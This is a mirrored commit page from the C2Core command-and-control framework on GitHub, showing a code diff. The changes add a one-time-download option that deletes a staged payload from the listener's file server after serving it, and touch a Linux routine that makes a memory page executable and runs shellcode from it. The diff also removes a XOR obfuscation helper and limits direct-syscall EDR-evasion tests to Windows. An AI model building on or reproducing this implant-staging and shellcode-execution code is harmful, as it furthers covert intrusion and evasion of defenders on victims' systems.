mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
ListenerHttp OneTimeDownload
This commit is contained in:
@@ -190,6 +190,14 @@ void ListenerHttp::lauchHttpServ()
|
||||
fileDownloadReg+=":filename";
|
||||
m_svr->Get(fileDownloadReg, [&](const Request& req, Response& res)
|
||||
{
|
||||
bool deleteFile=false;
|
||||
auto it = req.headers.find("OneTimeDownload");
|
||||
if (it != req.headers.end())
|
||||
{
|
||||
std::string header_value = it->second;
|
||||
deleteFile=true;
|
||||
}
|
||||
|
||||
SPDLOG_INFO("File server connection: {0}", req.path);
|
||||
|
||||
std::string filename = req.path_params.at("filename");
|
||||
@@ -204,6 +212,14 @@ void ListenerHttp::lauchHttpServ()
|
||||
buffer.assign(std::istreambuf_iterator<char>(file), std::istreambuf_iterator<char>());
|
||||
|
||||
res.set_content(buffer, "application/x-binary");
|
||||
|
||||
file.close();
|
||||
if(deleteFile)
|
||||
{
|
||||
// std::string backUpFile = filePath+".DELETED";
|
||||
// std::rename(filePath.data(), backUpFile.data());
|
||||
std::remove(filePath.data());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
@@ -409,6 +409,8 @@ int AssemblyExec::whateverLinux(const std::string& payload, std::string& result)
|
||||
mprotect(page, payload.size(), PROT_READ|PROT_EXEC);
|
||||
((void(*)())page)();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -12,9 +12,11 @@ if(WITH_TESTS)
|
||||
$<TARGET_FILE:testsTools> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsTools>")
|
||||
add_test(NAME testsTools COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsTools>")
|
||||
|
||||
add_executable(testsSyscall tests/testsSyscall.cpp ./syscall.x64.obj)
|
||||
target_link_libraries(testsSyscall )
|
||||
add_custom_command(TARGET testsSyscall POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:testsSyscall> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsSyscall>")
|
||||
add_test(NAME testsSyscall COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsSyscall>")
|
||||
if(WIN32)
|
||||
add_executable(testsSyscall tests/testsSyscall.cpp ./syscall.x64.obj)
|
||||
target_link_libraries(testsSyscall )
|
||||
add_custom_command(TARGET testsSyscall POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:testsSyscall> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsSyscall>")
|
||||
add_test(NAME testsSyscall COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsSyscall>")
|
||||
endif()
|
||||
endif()
|
||||
@@ -133,22 +133,6 @@ EXTERN_C DWORD getGlobalHash()
|
||||
}
|
||||
|
||||
|
||||
void XOR(char * data, size_t data_len, char * key, size_t key_len)
|
||||
{
|
||||
int j = 0;
|
||||
for (int i = 0; i < data_len; i++)
|
||||
{
|
||||
if (j == key_len-1)
|
||||
j = 0;
|
||||
|
||||
data[i] = data[i] ^ key[j];
|
||||
j++;
|
||||
}
|
||||
|
||||
data[data_len-1]='\0';
|
||||
}
|
||||
|
||||
|
||||
DWORD SW3_HashSyscall(const char *FunctionName)
|
||||
{
|
||||
DWORD Hash = 0x811C9DC5; // FNV offset basis
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
#endif
|
||||
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
|
||||
|
||||
// Sw3NtAllocateVirtualMemory_
|
||||
@@ -24,8 +25,10 @@ int test()
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
#ifdef _WIN32
|
||||
void *remoteBuffer;
|
||||
SIZE_T sizeToAlloc=100;
|
||||
NTSTATUS status = Sw3NtAllocateVirtualMemory_(GetCurrentProcess(), &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
@@ -108,7 +111,7 @@ int main()
|
||||
}
|
||||
|
||||
std::cout << "Success" << std::endl;
|
||||
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user